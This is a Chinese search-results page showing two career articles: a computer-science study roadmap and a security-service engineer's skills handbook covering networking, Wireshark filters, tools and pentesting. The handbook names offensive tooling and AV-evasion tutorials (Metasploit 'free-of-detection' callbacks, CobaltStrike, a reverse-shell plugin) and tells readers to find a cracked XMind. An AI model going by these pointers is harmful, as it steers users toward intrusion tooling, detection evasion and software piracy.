首页> 搜索结果页
"网站入侵拿shell" 检索
共 66 条结果
一个供参考的计算机的学习路线
 本文是介绍如何成为一个Geek,一个真正的计算机高手。适合开始入门并想成为IT领域技术大牛的人参考。写给大一新生和所有向深耕IT领域的人,避免走一些弯路。仅代表个人想法,供批判性参考。第一门入门的必备功课-语法与算法我认为这一部分的内容适合大一新生去做什么是计算机?用来做运算的机器电子计算机在运算方面和廉价的计算器原理并没有区别。什么是冯诺依曼架构?冯诺依曼结构也称普林斯顿结构,是一种将程序指令存储器和数据存储器合并在一起的存储器结构。核心的内容只有两点:存储和运算我们可以将输入的数据进行运算,还能将运算结果进行存储。而且能利用存储的数据进行判断,按照判断的结果实现程序流程的改变,就是循环和判断。按照这样一个架构,我们就可以编写程序了,可以将很多运算和跳转的指令存储在计算机中(存储代码的这一段内存称为代码段),在运算过程中用产生的结果改变内存中的数据。执行到判断跳转的指令时,根据内存中的数据修改PC寄存器的值(这个值是一个地址,这个寄存器始终将要运行的指令的地址),来修改程序执行流程。这样我们就实现了判断的逻辑和循环的逻辑,这两种逻辑可以将人类逻辑转换成程序执行流。为什么要从一门高级语言-C语言学起,而不是计算机的底层?上一个问题中描述的是运算,跳转两种指令指的是汇编语言的主要指令。这种操作是很细节的,直接操作寄存器,CPU和内存。我们在学习计算机入门需要培养的是什么,是逻辑。如果太关注硬件细节,对新手太不友好,当我们通过高级语言来训练好逻辑之后,再去学汇编语言,就已经具备了逻辑能力,学起来才会容易,这是一个循序渐进的过程。为什么要选C语言而不是别的高级语言来入门,这是因为C的灵活是其他编程语言无法比拟的。设计一个编程语言其实是融入了设计者的哲学思考,C语言的基础语法很简单,但是真正的设计是博大精深的,所以在这里很难完整地阐述为什么选择C语言的原因。这就是为什么计算机应该从C语言开始学起的原因。如何学C语言?这时你可能会去找一本C语言的书来读你可能会看到这本,觉得C语言太复杂了,书这么厚。实际上对于新手来说,只需要掌握最基本的语法,这本书过于严谨和全面。这本书最后还添加了一些简单的算法,导致篇幅增加,但是很少有人会认为一本语法书适合学习算法。你可以选择一本轻薄的教材,或者在线学习资源也足够,用一下午快速掌握一下基础语法,运算,循环,判断,函数,指针和数组。刚开始学习C语言的同学可能有一个误区,会去卷各种库函数的记忆。这是没有用的,一个熟练的程序员在使用库函数时也是会选择查找,别人写的接口你需要查找使用即可,常用的自然会记住。不要在这里浪费你学习你接下来学习核心内容的时间。有这些内容,你就可以去做任何事了。什么是算法?你接触过什么算法,欧几里得算法,秦九韶算法...他们就是一套计算的方法,可以解决某个特定的问题,步骤比较机械,特别适合计算机来执行。在计算机的世界中,除非你是过于底层的设计,嵌入式开发,芯片设计,别的所有领域里这里提到的算法都是核心。我们编写一个程序一般是为了解决一个问题,过程中用到一套算法。统计数据库中学生的数量需要一套算法。张一鸣正是发明了一套推送算法,创立了字节。图灵奖得主中因为在算法领域取得突出贡献而得奖的占多数。一个思想上有深度的算法的诞生,标志着一类人类社会中的问题可以用计算机来实现了。如何学习算法?算法是核心,而且软件领域只有两种事情,别人的代码,我们要读懂,还有自己要写的代码,要有编码能力。当你学了算法后对编程逻辑就有了驾驭能力。我建议从oi算法入手,参加一些蓝桥杯,CSP认证之类的比赛。能力强,有机会的可以去参加ACM。如果你能力一般,那就是以赛代练,训练能力。如果你能力强,可以去当赛棍。CSP也是很有价值的,但是很多学术机构对CSP都有要求,清华原则上不录取CSP低于300的。当然算法竞赛和实际问题区别是很大的,你不能短时间用算法编写程序不代表你比竞赛选手在计算机实际应用中的能力就差。参加比赛可以训练一定的编码能力。大一的计算机新生适合做一些算法竞赛具备这个必备能力。这里可以简单介绍一下常见的算法竞赛。蓝桥杯这是一个工业信息化部门承办的算法竞赛,是一个普及性的比赛,希望大量计算机专业学生参加,而不是专门的算法竞赛选手。报名费有点小贵,300。但是很多弱省,省奖是很好拿的。一般拿到省奖会有单项奖学金或者学校报销报名费。虽然是一个普及性的比赛,但是题目质量开始越来越高,值得每个想学技术的人去参加一下。ACM这是门槛较高的国际编程竞赛。想要参加一般需要加入你们学校的校队。比赛一个队伍3个人,每个学校只有几个队伍有线下赛的资格。大一零基础的一般是有希望参加的,还有大二猛肝从零基础到夺金的情况。ACM含金量就比较高,如果你夺得区域赛银牌以上,很多大厂会有免除笔试,面试的绿色通道。当然这个比赛也有不同的声音,有大牛认为算法竞赛和实际问题区别很大,没有必要在ACM这个比赛上面浪费精力,学到技术是最重要的。CSP认证这是一个中国计算机协会举办的软件能力认证,题面趋向于越来越长。很多学术机构对这个认证是有要求的,清华考研CSP低于300分的原则上不录取。CSP的高分是简历上很好看的一笔。我建议学习资源可以选择acwing网站和《算法竞赛进阶指南》如果上面这些两种学习资源对与你来说还是比较困难的,可以阅读一下《啊哈算法》。啊哈算法是很详细很直观地讲解算法,配有有趣的插图,为了所有人都能看懂。建议上述资源结合起来使用。我们没必要一上手就是数据结构,看着冗长的代码,用算法竞赛的写法培养一下能力最重要。你可以打一些在线的比赛,牛客网周赛,acwing周赛,还有比较著名的codeforces网站。当你有了对基础算法的掌控能力后,要仔细学习数据结构。了解IT的各个领域当你可以驾驭一门编程语言之后,你就可以几个小时内学习一门高级语言。Java,Python,Go,Rust有能力的话都可以速成一下,只需要看最基础的语法就可以上手了。要在实践中学习。要有查阅技术社区博客和官方文档的能力。IT领域中别人开放过的项目的代码你是不可能全部读完的,要想去认识,只有培养去理解的能力和查阅资料的能力,按照需求出发去选择性学。可以学一下别的编程语言和数据库,相信你这时学习这些内容并不需要多长时间。这样你已经提升了认知,打开了计算机的潘多拉魔盒。你可以了解任何一个方向,选择你所喜欢的方向进行深耕,网络安全,云计算,后端开发,前端开发,游戏开发,人工智能。你有自学看懂这些书籍的能力,因为你有了编码能力。因为计算机很多领域都有相通的特性,都是代码实现的,所以一窍通,百窍通。所以你一开始没必要深入学习各个方向,可以几个月时间你就能在各个方向都玩一玩,了解自己喜欢什么,想做什么,扩展自己的认知。如果你想在极短的时间内了解计算机的各个方向,可以看一下计算机科学速成课。只有40节课,一节课10分钟,但是从很好的角度高屋建瓴地阐述了计算机的大部分主流领域。学好核心内容计算机核心课程考研所考的内容是数据结构与算法,操作系统,计算机组成原理,计算机网络,这几门是计算机的核心。为了考研和学术的需求,认真学习概念也是有必要的。至于编程语言和数据库等知识,实操永远是第一位的。就像没有每天看游戏角色数据而不去玩的电竞选手。核心的是编码能力和认知,这些学科概念没任何用处,会实操即掌握。因为计算机世界中一部分是别人写的代码,一部分是自己写的。自己写需要逻辑能力,而这些学科是别人写的代码,给了你一个接口,你可以用你的编码能力来认识,来使用。但是发明者起的名词只需要灵活掌握。千万不要把是时间浪费在机械记忆上。我们知道清华姚班的姚期智教授,删除了老化课程,加强了核心学习,引导学生在本科阶段培养自己的专长。核心课程回到核心课程中,这些核心课程相对有必要按照科班教科书式地学习。而且也是考研所需要的内容,所以我们也不得不系统学习概念来获得一定的应试能力。操作系统程序员必须对操作系统掌握好,操作系统就是一个大程序,一般书会从抽象层次来开始讲述,什么是抽象,就是不给你具体代码,来讲述想要写的程序的逻辑。这个过程需要慢慢来理解。程序使用的操作系统和服务器使用的操作系统是Linux,我们必须熟练掌握Linux的命令。这里推荐MIT的CS计算机操作环境导论,学会Linux的命令才能进行开发。学Linux系统的操作和学习操作系统理论知识不存在先后关系,根据需求来学。学好操作系统基础知识之后去看Linux的内核源代码,从具象层次将操作系统理解透彻,才能成为大牛。推荐《深入理解LINUX内核》。计算机组成原理可能是考研专业课中的瓶颈,涉及硬件层次的计算机架构,操作系统处于硬件和应用程序之间。要想学好计算机组成原理,可以学一点数字电路,如果不做硬件开发的话,数字电路理解即可,简单涉略,没必要进行设计。也要学习一定汇编语言,这对于操作系统和计算机组成原理都是很有必要的。当然直接拿计算机组成原理和操作系统的书来学也是可以的,但是这样可能就需要就好的抽象理解能力了。编译原理编译原理是相对比较难的一门学科,虽然不在408的范畴,但是也是技术人员必备的知识。计算机网络网络的基础知识是比较简单的。理解网楼哦层次架构,记忆协议就可以。计算机与基础自然科学的关系物理学其实目前技术应用上并没有关系,我们最底层研究到数字电路,但是数字电路是逻辑门的设计,用不到电压和电流等电学知识,哪怕你是嵌入式开发者,芯片设计者,也是不需要电学的。跟别说力学,相对论和量子力学了。物理对于计算机毫无意义吗,也不是,摩尔定律失效是因为芯片设计碰到了量子力学,时代是向前发展的,基础自然科学对于你认知的提升有帮助。可能有些人也有计算机与物理结合方面的志向,但是物理学与目前真正的计算机核心毫无关系,根据自己需要完全可以不学。计算机早已从电子学科中分离。生物,化学与计算机的联系是更小。数学如果你的目标只是进厂,那么也许对于你来说更重要是业务能力,后端开发,前端开发,游戏开发,是最基础的工作都是具备编码能力,工作经验就可以胜任的。这时候很多普通码农就提出了数学无用论。但是你要想自己设计一套算法,研究密码学,人工智能,做一个真正的高级人才,而不是码农,数学的要求是相当高的。最核心的是线性代数,概率论,离散数学。当然你需要的不是应试能力,是真正的数学能力。我们常说计算机行业饱和了,其实不然,现在的世界是不缺少码农的,码农是可以社会培训几个月速成的,但是高级人才在我国都是缺口。BAT都没有实力养一套自己的加密算法。中国的第三代黑客也是处于断档,网络安全人员急缺。数学课程推荐MIT-线性代数离散数学僧多粥少,很多人忙于过度无意义内卷来试图通过分数更高来获得竞争力。其实也可以换一个思路,重剑无锋,在绝对的实力面前一切技巧都是徒劳,艰难之业当累日月。你可以选择一个自己愿意沉下心来钻研的方向进行深耕,会学到真正的技术,随大流是必不讨好的。计算机科学丛书(黑皮书)所谓计算机黑皮书,指的机械工业出版社引进的计算机科学丛书,其封面都是黑色的大理石纹理式样,体现了直男审美计算机工业的品位和格调:冷峻而不失高雅。这些黑皮书都是从国外引进的,很多都是国外的教材,作者都是业界顶尖的大牛。本科除了保证一定的代码量,还应该读一些黑皮书进行积累。大学时间也很长,制定计划,日积月累,总会读完。深入理解计算机系统(CSAPP)这是被誉为等量黄金的黑皮书,每个计算机学生有必要读完。是黑书中最有必要读的书之一。书的前言说的也很清楚,读完这本书的时候,你已经成为了为数不多的大牛。这本书从程序员的视角出发,详细介绍底层知识,涉及计算机组成原理和操作系统的知识。现代操作系统是操作系统的最经典的书籍,作为如此核心的学科,这本书也很有价值。可以作为学习操作系统的第一本书。算法导论算法导论对经典的算法进行了原理层面的剖析,虽然是一本巨作,但是可能不适合计算机新手阅读,入门计算机只需要熟练传统的算法和数据结构。人的精力有限,这样一本巨作不适合过早地读。很多ACM高手也不会去研究这本书。但是对于想钻研算法的原理的同学,这本书是很适合的。汇编语言:基于x86处理器本书是个人感觉比较好啃的黑书,几天就可以看完。汇编语言的学习对于理解编译原理,操作系统和计算机组成原理的学习都很有必要。否则很多概念会有些抽象。其他黑书可以根据自己的需求去选择计算机别的竞赛除了算法竞赛之外,计算机还有很多别的竞赛。ACM有年龄限制,往往很多人因为考研工作等原因会在大三后退役。计算机还有别的竞赛。喜欢的话可以参加。CTF这是网络安全的招牌。起源于黑客大会。称为夺旗赛(Capture the flag)。分为Web,Pwn,Reverse,Misc,Crypto等方向有解题模式和攻防模式。Web进行Web渗透测试,扫描漏洞,进行入侵,进入靶机,取出靶机中的flagPwn利用二进制漏洞,进行StackOverflow等攻击手段进行攻击,取得shell,取得shell之后就可以随心所欲处理靶机中的任何文件,取出flagReverse对一个可执行文件进行分析,取出其中的flag。比如我们熟悉的exe文件,exe文件和dll文件属于PE文件,是Windows系统中的可执行文件。题解模式会给一个执行文件,但是不给出代码,可以用逆向分析工具获取反汇编和反编译的代码。进行调试分析,取出flag,在现实生活中的引用有软件破解,恶意代码分析。MiscCTF中的杂项,涉及图片隐写,音频隐写等内容。隐写就是在一个文件隐藏数据,但是不影响原来文件的功能,比如,可以在一个图片文件中藏一个压缩包,但是图片文件看起来还是那个图片文件。比赛中我们要将隐藏的数据获取。学习CTF的条件只要有一定的编码能力就可以参加,最好对于别的核心学科有一定认知。但是不需要系统学习。CTF入门过程是在实操中补充知识点来学的。真正的CTF没有套路,需要查阅官方文档,自己学习。区块链比赛区块链是比较新的一个方向,也是资本喜欢的一个话题。与之有关的比赛也很多,奖金池也比较丰厚。别的比赛在这里不一一列举了。如果你把每一天当成最后一天来活的话,你就会轻松自在。        ——Steve jobs
文章
存储  ·  算法  ·  Linux  ·  程序员  ·  网络安全  ·  数据库  ·  C语言  ·  芯片  ·  Go  ·  安全
2023-03-05
全网最全的安服工程师修炼手册
全网最全安全服务工程师修炼手册本篇文章主要介绍安全服务工程师的必备技能,也是简单记录下我的安服历程!思维导图附上点击下载基础技能网络IPIP概念:IP地址被用来给Internet上的电脑一个编号。日常见到的情况是每台联网的PC上都需要有IP地址,才能正常通信。我们可以把“个人电脑”比作“一台电话”,那么“IP地址”就相当于“电话号码”,而Internet中的路由器,就相当于电信局的“程控式交换机”。IP地址是一个32位的二进制数,通常被分割为4个“8位二进制数”(也就是4个字节)。IP地址通常用“点分十进制”表示成(a.b.c.d)的形式,其中,a,b,c,d都是0~255之间的十进制整数。A类地址 第1个8位中的第1位始终为0 0-126.x.x.x 255.0.0.0/8B类地址 第1个8位中的第1、2位始终为10 128-191.x.x.x 255.255.0.0/16C类地址 第1个8位中的第1、2、3位始终为110 192-223.x.x.x 255.255.255.0/24D类 以1110开始 用于组播 E类 以11110开始 用于科研保留其中127.x.x.x段地址空间是被保留的回环地址子网掩码计算子网掩码(subnet mask)又叫网络掩码、地址掩码、子网络遮罩,它是一种用来指明一个IP地址的哪些位标识的是主机所在的子网,以及哪些位标识的是主机的位掩码。子网掩码不能单独存在,它必须结合IP地址一起使用。子网掩码只有一个作用,就是将某个IP地址划分成网络地址和主机地址两部分。子网掩码是一个32位地址,用于屏蔽IP地址的一部分以区别网络标识和主机标识,并说明该IP地址是在局域网上,还是在远程网上。屏蔽一个IP地址的网络部分的“全1”比特模式。对于A类地址来说,默认的子网掩码是255.0.0.0;对于B类地址来说默认的子网掩码是255.255.0.0;对于C类地址来说默认的子网掩码是255.255.255.0。简单来讲就是将网络地址全换为“1”主机地址为“0”。a.通过子网掩码,就可以判断两个IP在不在一个局域网内部b.子网掩码可以看出有多少位是网络号,有多少位是主机号组局域网一个网卡设置多个IPDNAT、SNAT、静态路由SNAT场景:云上的vm主机用户作为客户端访问外网服务器vm(client)--->SNAT(将数据包中的内网源IP转换为外网IP)--->Internet(服务器)--->SNAT(将数据包内的目的IP转换为内网IP)--->vm(client)DNAT场景:云上的VM主机作为服务器端为外网提供服务Internet(client用户)--->DNAT(将数据包中的目的公网IP转换为目的内网IP)--->VM(server)--->DNAT(将数据包中的源内网IP转换为外网IP)--->Internet(client用户)#DNAT iptables -t nat -A PREROUTING -d 172.18.0.107 -p tcp --dport=80 -j DNAT --to-destination 192.168.25.106:8000 #SNAT iptables -t nat -A POSTROUTING -s 192.168.25.0/24 -j SNAT --to-source 172.18.0.10静态路由静态路由是由管理员在路由器中手动配置的固定路由。配置静态路由需要注意以下几点。(1)需要有目标IP(2)需要有与静态路由直接相连的下一路由器接口的IP地址或静态路由的本地接口。(3)静态路由是由管理员手动设置的,除非管理员干预,否则静态路由不会发生变化。静态路由特点(1)允许对路由的行为进行精准的控制。(2)静态路由是单向的。(3)静态路由器的缺点就是缺乏灵活性。参考:https://www.linuxidc.com/Linux/2019-08/160377.htmlinux配置IP(centos/ubuntu)#centos7.6 vi /etc/sysconfig/network-scripts/ifcfg-ens32 bootproto=static onboot=yes #在最后加上几行,IP地址、子网掩码、网关、dns服务器 IPADDR=192.168.1.160 NETMASK=255.255.255.0 GATEWAY=192.168.1.1 DNS1=119.29.29.29 DNS2=8.8.8.8 #重启网络 systemctl restart network#ubuntu20.04 sudo vi /etc/netplan/00-installer-config.yaml network: ethernets: ens33: addresses: [192.168.31.215/24] #配置的静态ip地址和掩码 dhcp4: no #关闭DHCP,如果需要打开DHCP则写yes optional: true gateway4: 192.168.31.1 #网关地址 nameservers: addresses: [192.168.31.1,114.114.114.114] #DNS服务器地址 version: 2 renderer: networkd #指定后端采用systemd-networkd或Network Manager,不填则默认systemd-workd #应用新配置 sudo netplan applywireshark抓包,常见过滤语法1、针对ip的过滤#对源地址进行过滤 ip.src == 192.168.0.1 #对目的地址进行过滤 ip.dst == 192.168.0.1 #对源地址或者目的地址进行过滤 ip.addr == 192.168.0.1 #如果想排除以上的数据包,只需要将其用括号囊括,然后使用 "!" 即可 !(ip.addr == 192.168.0.1)2、针对协议的过滤#获某种协议的数据包,把协议的名字输入即可,只能为小写 http #捕获多种协议的数据包 http or telnet #排除某种协议的数据包 not arp 或 !tcp3、针对端口的过滤(视传输协议而定)#捕获某一端口的数据包(以tcp协议为例) tcp.port == 80 #捕获多端口的数据包,可以使用and来连接,下面是捕获高于某端口的表达式(以udp协议为例) udp.port >= 20484、针对长度和内容的过滤#针对长度的过虑(这里的长度指定的是数据段的长度) udp.length < 20 http.content_length <=30 #针对uri 内容的过滤 matches 后的关键字是不区分大小写的! http.request.uri matches "user" (请求的uri中包含“user”关键字的) http.request.uri contains "User" (请求的uri中包含“user”关键字的) 注意:contains 后的关键字是区分大小写的!5、针对http请求的一些过滤实例。#过滤出请求地址中包含“user”的请求,不包括域名; http.request.uri contains "User" #精确过滤域名 http.host==baidu.com #模糊过滤域名 http.host contains "baidu" #过滤请求的content_type类型 http.content_type =="text/html" #过滤http请求方法 http.request.method=="POST" #过滤tcp端口 tcp.port==80 http && tcp.port==80 or tcp.port==5566 #过滤http响应状态码 http.response.code==302 #过滤含有指定cookie的http数据包 http.cookie contains "userid"文字处理word各种格式、excel常用公式(vlookup)、notepad++批量处理字符串word各种格式有手就行这里不再赘述excel常用公式(vlookup)微软官方教程附上https://support.microsoft.com/zh-cn/office/vlookup-%E5%87%BD%E6%95%B0-0bbc8083-26fe-4963-8ab8-93a18ad188a1notepad++批量处理字符串(大多数操作依赖正则表达式)1、在开头或结尾加入内容正则表达式^和$分别表示开头和结尾, 替换他们为需要添加的内容即可完成在每行之前加入指定内容2、删除奇数行/偶数行核心思路为每两行匹配, 并分组, 再需要时替换为对硬的组即可, 正则为^([^\n]*)\n([^\n]*)从头开始匹配, 非换行符+换行符+非换行符, 正是两行。使用\1替换为奇数行(只保留), \2替换为偶数行(只保留)3、驼峰转下划线找到小写字母+大写字母的组合, 在中间加一个_并且将后面的字母变成小写:ckcSEC变为ckc_sec#查找 ([a-z])([A-Z]) #替换 \1_\l\24、下划线转驼峰找到小写字母+_+小写字母的组合, 去掉_并且将后面的小写字母变成大写:ckc_sec变为ckcSEC#查找 ([a-z])_([a-z]) #替换 \1\u\25、还有一种情况是复制过来的文本末尾会有空白行或者是制表符或者是空格a.去除行尾空格和空白行 查找目标:\s+$ 替换为空,查找方式选择正则表达式 b.去除行首空格 查找目标:^\s+ 替换为空,查找方式选择正则表达式 c.合并行 查找目标:\r\n 替换为空,查找方式选择正则表达式 d.行首插入 查找目标:^ 替换为要插入的字符,查找方式选择正则表达式 e.行尾插入 查找目标:$替换为要插入的字符,查找方式选择正则表达式编程语言会基本使用,拿网上的脚本自己修改,如python、linux shell这个不是一天两天能学会的,这里就不作赘述,得靠平时自己的坚持学习练习。工具篇科学上网V2ray等,作为一名网络安全职业人员,这个肯定是必不可少的,多的这里也就不作解释了。不过还请务必在国家法律规定的范围内使用,切勿违法犯罪。仅用于学习交流,为国家网络安全做贡献。生产力在线笔记软件这个可以直接写博客,写博客是个好习惯,能及时的帮助你总计和积累一些知识点,也是一个成长过程的记录。当然除了搭建个人的博客网站,还可以利用软件做笔记。这样可以帮助你自动云备份,这里笔者推荐有道云笔记。免费的3G空间云备份,对于笔记而言是绝对够的。https://note.youdao.com/everythingeverything是一个私有的免费Windows桌面搜索引擎,可以在NTFS卷上快速地根据名称查找文件和目录,windows自带的搜索要快的多,非常好用,这里笔者极力推荐,可方便快速启动渗透测试工具或者脚本,以及查找文件。https://www.voidtools.com/zh-cn/dittoDitto 是 Windows 一款免费开源的剪贴板增强软件,支持主流系统,支持中文,并且提供免安装绿色版。使用它你只需像往常一些复制东西,然后按下 Ctrl+` (数字1前面那个按键),就能唤出它的界面,里面记录了所有历史复制内容,你可以选择性进行粘贴,非常方便。https://ditto-cp.sourceforge.io/notepad++这个神器就不多说了,无敌https://notepad-plus-plus.org/downloads/SSH(mobaxterm、xshell等)ssh工具,有个国产的FinalShell,但是国产特色在那里,不是很敢用,还是让他再发展几年再说xshell是收费的,但是有个学校版可以免费申请,功能基本无差别https://www.netsarang.com/zh/free-for-home-school/mobaxterm 国外,开源免费,支持多种协议,简直yyds,也是我一直再用的https://mobaxterm.mobatek.net/php运行环境这个主要用于自己平时的自建靶场练习(phpstudy支持多版本切换、wamp、thinkphp等)网盘(团队资料共享以及备份)阿里云盘不限速不收费yydshttps://www.aliyundrive.com/画图软件draw.iohttps://www.diagrams.net/一款实用的免费流程图绘制工具,它致力于成为完全开源、免费、并且高质量的绘图软件,使用它可以轻松创建图表,适用于商务、工程、电气、网络设计、软件设计等诸多领域的专业绘图。xmind(思维导图软件)自行百度绿色破解浏览器插件Hack-Toolshttp://github.com/LasCC/Hack-Toolss7ck HackTools,是一个web扩展,方便web应用程序渗透测试,如XSS、反向shell、编码转换等等。 随着扩展,不再需要在不同的网站或本地搜索有效负载存储空间,大多数工具都是一键式访问。HackBarsql注入神器User-Agent Switcher改ua头foxyproxy小狐狸,网络抓包代理工具wappalyzer业内有名的指纹识别插件,这里就不用我多说了吧,yyds安全产品漏扫工具每个公司都有自己专门的漏扫工具,因为涉及公司机密,这里就不透露了防火墙每个安全厂商基本都有自己开发的防火墙设备防火墙是一种用于监控入站和出站网络流量的网络安全设备,可基于一组定义的安全规则来决定是允许还是阻止特定流量。防火墙指的是一个由软件和硬件设备组合而成、在内部网和外部网之间、专用网与公共网之间的界面上构造的保护屏障,是一种获取安全性方法的形象说法,它是一种计算机硬件和软件的结合,使Internet与Intranet之间建立起一个安全网关(Security Gateway),从而保护内部网免受非法用户的侵入,防火墙主要由服务访问规则、验证工具、包过滤和应用网关4个部分组成。入侵检测 IDS/入侵防御IPS入侵检测系统IDS(“Intrusion Detection System”)专业上讲就是依照一定的安全策略,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。与防火墙不同的是,IDS入侵检测系统是一个旁路监听设备,没有也不需要跨接在任何链路上,无须网络流量流经它便可以工作。因此,对IDS的部署的唯一要求是:IDS应当挂接在所有所关注的流量都必须流经的链路上。IDS在交换式网络中的位置一般选择为:尽可能靠近攻击源、尽可能靠近受保护资源。入侵防御系统IPS(“Intrusion Prevention System”)在入侵检测的基础上添加了防御功能,一旦发现网络攻击,可以根据该攻击的威胁级别立即采取抵御措施。IPS技术可以深度感知并检测流经的数据流量,对恶意报文进行丢弃以阻断攻击,对滥用报文进行限流以保护网络带宽资源。对于部署在数据转发路径上的IPS,可以根据预先设定的安全策略,对流经的每个报文进行深度检测(协议分析跟踪、特征匹配、流量统计分析、事件关联分析等),如果一旦发现隐藏于其中网络攻击,可以根据该攻击的威胁级别立即采取抵御措施,这些措施包括(按照处理力度):向管理中心告警;丢弃该报文;切断此次应用会话;切断此次TCP连接。两者的差别在于:功能不同:入侵防御系统在入侵检测的基础之上还实现了防护的功能。实时性要求不同:入侵防御必须分析实时数据,而入侵检测可以基于历史数据做事后分析。部署方式不同:入侵检测一般通过端口镜像进行旁路部署,而入侵防御一般要串联部署。参考:http://security.zhiding.cn/security_zone/2009/0412/1362627.shtmlhttps://cloud.tencent.com/developer/news/561338日志审计综合日志审计平台,通过集中采集信息系统中的系统安全事件、用户访问记录、系统运行日志、系统运行状态等各类信息,经过规范化、过滤、归并和告警分析等处理后,以统一格式的日志形式进行集中存储和管理,结合丰富的日志统计汇总及关联分析功能,实现对信息系统日志的全面审计。通过日志审计系统,企业管理员随时了解整个IT系统的运行情况,及时发现系统异常事件;另一方面,通过事后分析和丰富的报表系统,管理员可以方便高效地对信息系统进行有针对性的安全审计。遇到特殊安全事件和系统故障,日志审计系统可以帮助管理员进行故障快速定位,并提供客观依据进行追查和恢复。日志审计平台的部署方式硬件产品部署方式:一般日志审计系统采用旁路部署即可,只要到达全部设备网络可通即可。支持单机部署和分布式部署。云日志审计系统部署方式:云日志审计部署一般要求到全网设备可通信即可。参考:https://blog.csdn.net/qq_38265137/article/details/106790419堡垒机运用各种技术手段监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为,以便集中报警、及时处理及审计定责。云WAF云WAF即web应用防火墙.云WAF,是web应用防火墙的云模式,这种模式让用户不需要在自己的网络中安装软件WAF或部署硬件WAF,就可以对网站实施安全防护。防SQL注入、防XSS、防CC攻击、防webshell上传、防篡改、防盗链等,这些传统WAF上存在的功能,云WAF同样具备。从用户的角度来看,云WAF就像是一种安全服务。apt/态势感知APT攻击APT攻击技术学习指南态势感知某大厂态势感知被五千万买断(手动狗头)针对APT攻击的特点及危害,采用大数据处理架构,集合行为分析、虚拟执行、多维关联分析、机器学习等技术,针对APT攻击中广泛采用的0day/Nday漏洞、特种木马、渗透入侵技术等进行深度检测分析;挖掘识别网络空间中的已知/未知高级威胁,对威胁进行追踪与定位;结合攻击事件关联,提供木马报告、趋势分析报表等多种可视化统计图表,实现对APT攻击的全生命周期的检测分析与预警,帮助用户全面、直观掌握网络安全风险状况。并且可与天融信防火墙联动,建立APT监测与阻断防御体系,形成攻击防御闭环。通过威胁态势感知对入侵植入事件、网内失陷事件进行监测,实现对已知和未知威胁地实时监控与态势感知,实时展现网络安全整体态势感知地图,掌握全局资产风险,支撑整体安全策略,让安全可见、可控、可预测。宏观威胁态势感知地图、多阶段全链条攻击检测、动静结合的技术检测、动态沙箱识别未知威胁、全面木马通信行为检测、多种沙箱逃逸对抗技术。杀毒软件企业的杀毒软件是统一部署管理的,业内有名的奇安信,360等应急响应1、处理服务器中毒事件,手工清除一些简单的病毒主要为挖矿病毒,Google一下业内大哥的挖矿病毒清理经验,进行分析总结2、能分析web日志、操作系统日志,对入侵溯源3、能编写应急响应报告4、常用命令常用命令使用教程ifconfig、cd、cat、grep、ping、traceroute、find、netstat、chmod、ps、top、whoami、head、tail、last、lastb5、windows常用工具autoruns强化版任务启动管理器。Autoruns 是 SysInternals 工具集中非常简单易用而又十分常用的一个小工具,它可以说是我日常使用频率最高的工具之一。其主要功能就是帮助我们管理 Windows 中的各种启动项,有了它以后你便可以抛弃各种号称“管家”、“卫士”之类的系统启动项管理工具了。tcpview它将显示系统上所有 TCP 和 UDP 端点的详细列表,包括本地和远程地址以及 TCP 连接的状态。在 Windows Server 2008、Vista 和 XP 上,TCPView 还报告拥有端点的进程的名称。TCPView 提供了 Windows 附带的 Netstat 程序的更多信息和方便呈现的子集。procexpProcess Explorer能显示有关哪些句柄和 DLL 进程已打开或加载的信息。由两个子窗口。顶部窗口始终显示当前活动进程的列表,包括其拥有帐户的名称,而底部窗口中显示的信息取决于所处的模式:句柄模式:您将看到处理在顶部窗口中选择的进程已经打开DLL 模式:您将看到进程已加载的 DLL 和内存映射文件。Process Explorer还具有强大的搜索功能,可以快速显示哪些进程打开了特定句柄或加载了 DLL。Process Explorer的独特功能使其可用于跟踪 DLL 版本问题或处理泄漏,并提供对 Windows 和应用程序工作方式的洞察。virustotal.com可分析可疑文件和 URL 以检测恶意软件的类型,以及免杀测试6、linux常用工具(nethogs、iftop)NetHogs NetHogs 是一个小型的“网络顶部”工具。它不像大多数工具那样按协议或每个子网分解流量,而是按进程对带宽进行分组。iftopiftop用于查看网络上的流量情况,包括实时速率、总流量、平均流量等,是一款实时流量监控工具。安全加固1、windowswindows查看服务、进程、启动项、组策略、打补丁、防火墙等2、linux密码策略、任务计划、umask、ssh、uid=0的用户等,找现成脚本3、数据库和中间件 安全加固的知识点太多,具体可参考我的这篇文章安全加固手册渗透测试作为一名安服工程师,渗透测试的能力肯定是要具备的。1、要能独立对web系统进行渗透测试,并编写渗透测试报告2、内网渗透测试3、能对app做简单渗透,会抓app的网络交互包,简单了解下即可,工具:Fiddler上面这些我以前的文章写了很多关于渗透测试的,可以参考学习 4、各种工具使用(nmap、sqlmap、bp、msf、CS)nmapnmap教程:https://www.zhiji.icu/2021/02/17/nmap-de-shi-yong/sqlmapsqlmap教程:https://www.zhiji.icu/2021/02/18/sqlmap-de-shi-yong/burpsuitebp安装详细教程bp渗透测试教程msfmsf之免杀上线msf之后渗透攻击CobaltStrike4.0CobaltStrike4.0安装部署CobaltStrike4.0渗透测试手册(pdf)5、熟悉owasp top10漏洞的原理以及解决方法owasp top10漏洞的原理以及防护方案推荐几个牛逼的渗透测试大哥博客地址我自己的博客地址:https://www.zhiji.icu/告白热:http://www.kxsy.work/icepeak:https://icepeak.icu/漏洞扫描1、会使用nessus2、会整理nessus漏扫报告3、能解读漏扫报告,指导用户修复漏洞4、能独立去用户现场进行漏扫CTF这方面我也是个菜狗,仅仅当作兴趣爱好,就推荐一些ctf的练习靶场吧CTFHub:开箱即用的CTF学习解决方案https://www.ctfhub.com/#/index攻防世界:adworld.xctf.org.cnWgpSec CTF:ctf.wgpsec.orgBUUCTF:buuoj.cn最后关于安全服务工程师的必备技能总结就是上面这些了,虽然部分内容有点水,但是也耗费了不少时间,旨在为初入安全的小白,提供上帝视角,有方向有目标的学习进步,共勉。
文章
机器学习/深度学习  ·  SQL  ·  监控  ·  安全  ·  网络协议  ·  Linux  ·  网络安全  ·  定位技术  ·  网络架构  ·  Windows
2023-02-13
运维工程师学习路线
